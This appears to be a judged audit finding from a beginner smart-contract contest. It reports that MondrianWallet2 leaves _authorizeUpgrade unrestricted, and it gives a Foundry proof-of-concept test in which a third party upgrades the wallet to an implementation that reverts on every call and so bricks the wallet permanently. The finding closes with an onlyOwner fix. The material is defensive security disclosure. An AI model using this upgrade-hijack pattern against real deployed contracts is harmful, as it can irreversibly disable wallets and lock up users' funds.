First Flight #19: Mondrian Wallet v2
First Flight #19
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing access control on `MondrianWallet2::_authorizeUpgrade` make it possible for anyone to call `MondrianWallet2::upgradeToAndCall` and permanently change its functionality.

7Cedars

Missing access control on MondrianWallet2::_authorizeUpgrade make it possible for anyone to call MondrianWallet2::upgradeToAndCall and permanently change its functionality.

Description: MondrianWallet2 inherits UUPSUpgradeable from openZeppelin. This contract comes with a function upgradeToAndCall that upgrades a contract. It also comes with a requirement to include a _authorizeUpgrade function that manages access control. As noted in the UUPSUpgradable contract:

The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.

However, the implementation of _authorizeUpgrade lacks any such access restrictions:

function _authorizeUpgrade(address newImplementation) internal override {}

Impact: Because anyone can call MondrianWallet2::upgradeToAndCall, anyone can upgrade the contract to anything they want. First, this goes against the stated intention of the contract. From README.md:

only the owner of the wallet can introduce functionality later

Second, it allows for a malicious user to disable the contract.
Third, the the upgradeability can also be disabled (by having _authorizeUpgrade always revert), making it impossible to revert changes.

Proof of Concept:

  1. A malicious user deploys an alternative MondrianWallet2 implementation.

  2. The malicious user calls upgradeToAndCall and sets the new address to their implementation.

  3. The call does not revert.

  4. From now on MondrianWallet2 follows the functionality as set by the alternative MondrianWallet2 implementation.

In the example below, all functions end up reverting - including the upgradeToAndCall. But any kind of change can be implemented, by any user, at any time.

Proof of Concept

Place the following code underneath the existing tests in ModrianWallet2Test.t.sol.

​
contract KilledImplementation is IAccount, Initializable, OwnableUpgradeable, UUPSUpgradeable {
error KilledImplementation__ContractIsDead();
​
function initialize() public initializer {
__Ownable_init(msg.sender);
__UUPSUpgradeable_init();
}
​
function validateTransaction(bytes32, /*_txHash*/ bytes32, /*_suggestedSignedHash*/ Transaction memory _transaction)
external
payable
returns (bytes4 magic)
{
if (_transaction.txType != 0) {
revert KilledImplementation__ContractIsDead();
}
return bytes4(0);
}
​
function executeTransaction(bytes32, /*_txHash*/ bytes32, /*_suggestedSignedHash*/ Transaction memory _transaction) external payable {
revert KilledImplementation__ContractIsDead();
}
​
function executeTransactionFromOutside(Transaction memory _transaction) external payable {
revert KilledImplementation__ContractIsDead();
}
​
function payForTransaction(bytes32, /*_txHash*/ bytes32, /*_suggestedSignedHash*/ Transaction memory _transaction) external payable {
revert KilledImplementation__ContractIsDead();
}
​
function prepareForPaymaster(bytes32, /*_txHash*/ bytes32, /*_possibleSignedHash*/ Transaction memory /*_transaction*/) external payable {
revert KilledImplementation__ContractIsDead();
}
​
function _authorizeUpgrade(address newImplementation) internal override {
revert KilledImplementation__ContractIsDead();
}
}

Then place the following among the existing tests:

// Please note that you will also need --system-mode=true to run this test.
function testAnyOneCanUpgradeAndKillAccount() public onlyZkSync {
// setting up accounts
address THIRD_PARTY_ACCOUNT = makeAddr("3rdParty");
vm.deal(address(mondrianWallet), AMOUNT);
// created an implementation (contract KilledImplementation below) in which every function reverts with the following error: `KilledImplementation__ContractIsDead`.
KilledImplementation killedImplementation = new KilledImplementation();
​
// create transaction
address dest = address(usdc);
uint256 value = 0;
bytes memory functionData = abi.encodeWithSelector(ERC20Mock.mint.selector, address(mondrianWallet), AMOUNT);
Transaction memory transaction = _createUnsignedTransaction(mondrianWallet.owner(), 113, dest, value, functionData);
transaction = _signTransaction(transaction);
​
// Act
// a random third party - anyone - can upgrade the wallet.
// upgrade to `killedImplementation`.
vm.expectEmit(true, false, false, false);
emit Upgraded(address(killedImplementation));
​
vm.prank(THIRD_PARTY_ACCOUNT);
mondrianWallet.upgradeToAndCall(address(killedImplementation), "");
​
// Assert
// With the upgraded implementation, every function reverts with `KilledImplementation__ContractIsDead`.
vm.prank(BOOTLOADER_FORMAL_ADDRESS);
vm.expectRevert(KilledImplementation.KilledImplementation__ContractIsDead.selector);
mondrianWallet.validateTransaction(EMPTY_BYTES32, EMPTY_BYTES32, transaction);
​
vm.prank(mondrianWallet.owner());
vm.expectRevert(KilledImplementation.KilledImplementation__ContractIsDead.selector);
mondrianWallet.executeTransaction(EMPTY_BYTES32, EMPTY_BYTES32, transaction);
​
// crucially, also the upgrade call also reverts. Upgrading back to the original is impossible.
vm.prank(mondrianWallet.owner());
vm.expectRevert(KilledImplementation.KilledImplementation__ContractIsDead.selector);
mondrianWallet.upgradeToAndCall(address(implementation), "");
​
// ... and so on. The contract is dead.
}

Recommended Mitigation: Add access restriction to MondrianWallet2::_authorizeUpgrade, for example the onlyOwner modifier that is part of the imported OwnableUpgradable.sol contract:

+ function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
- function _authorizeUpgrade(address newImplementation) internal override {}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of access control in _authorizeUpgrade

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.